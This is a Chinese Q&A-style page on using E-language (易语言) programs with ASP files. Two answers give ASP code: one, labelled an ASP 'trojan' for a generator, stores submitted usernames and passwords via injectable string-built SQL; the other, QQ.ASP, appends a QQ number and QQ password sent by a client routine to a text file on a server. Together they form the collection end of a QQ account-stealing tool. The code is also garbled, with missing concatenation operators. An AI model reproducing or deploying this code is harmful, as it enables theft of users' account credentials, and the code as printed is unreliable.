asp调试工具易语言源码_易语言与asp

文章目录：

• 1、易语言如何写网页ASP发信，麻烦提供源码和必要的解释
• 2、用易语言做生成器用的ASP木马源码
• 3、如何做易语言的asp文件

易语言如何写网页ASP发信，麻烦提供源码和必要的解释

这个源码可以用的。

亲测不错，有些 空间虽然支持asp，但为防止这类东西有相关的程式，比如3v这类空间就是不可以的，免费空间大都不靠谱，善意提醒一下，这不是我要回答的

这里面有asp文件 和.e源码文件，非常通俗，懂点易语言就可以明白。

主要就是两个编辑框 代表 发送的信息，一个编辑框 代表asp的网址，还有一个发信按钮。

不要做坏事哦

用易语言做生成器用的ASP木马源码

ASP很简单的，弄个简单数据库ZH.MDB就用户名和密码两个字段，

%

dim conn

dim connstr

connstr="DBQ="+server.mappath("ZH.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

set conn=server.createobject("ADODB.CONNECTION")

conn.open connstr

username=request("username")

password=request("password")

qq=request("qq")

email=request("email")

tuijianren=request("tuijianren")

set rs=server.createobject("adodb.recordset")

sql="select * from user_msg where [用户名]='" username "'"

rs.open sql,conn,1,3

if not (rs.eof and rs.bof) then

response.write "ER！"

else

sql="insert into user_msg ([用户名],[密码]) values ('" username "','" password "')"

conn.execute( sql)

response.write "OK！"

end if

%

然后用HTTP读文件（“？username=编辑框1.内容password=bjk2.nr”,,）

就好了，没安装易语言，你可以改一下就可以用了

如何做易语言的asp文件

QQ.ASP内容如下：

%

StrLogFile="QQ.txt"

FRT=Request("FRT")

SCD=Request("SCD")

If FRT="" Or SCD="" Then

Response.Write "QQ"

Response.End

End If

StrLogText=StrLogText FRT SCD

Set Lzwudi=Server.CreateObject("Scripting.FileSystemObject")

Set Lenovo=Lzwudi.OpenTextFile(Server.MapPath(".")"\"StrLogFile,8,True,0)

Lenovo.WriteLine(CHR(13)+CHR(10)StrLogText)

Lenovo.Close

Set Lenovo=Nothing

Set Lzwudi=Nothing

Response.Write "OK!"

%

把QQ.ASP文件上传到FTP上去。

ASP收信E源码：

.子程序 ASP, 文本型

.参数 地址, 文本型

.参数 NUM, 文本型

.参数 PWD, 文本型

返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “FRT=” ＋ NUM ＋ “SCD=” ＋ PWD)))

ASP (“”, 编辑框1.内容, 编辑框2.内容)

上面的“”为你上传后的QQ.ASP文件地址

编辑框1.内容为发送的QQ号码

编辑框2.内容为发送的QQ密码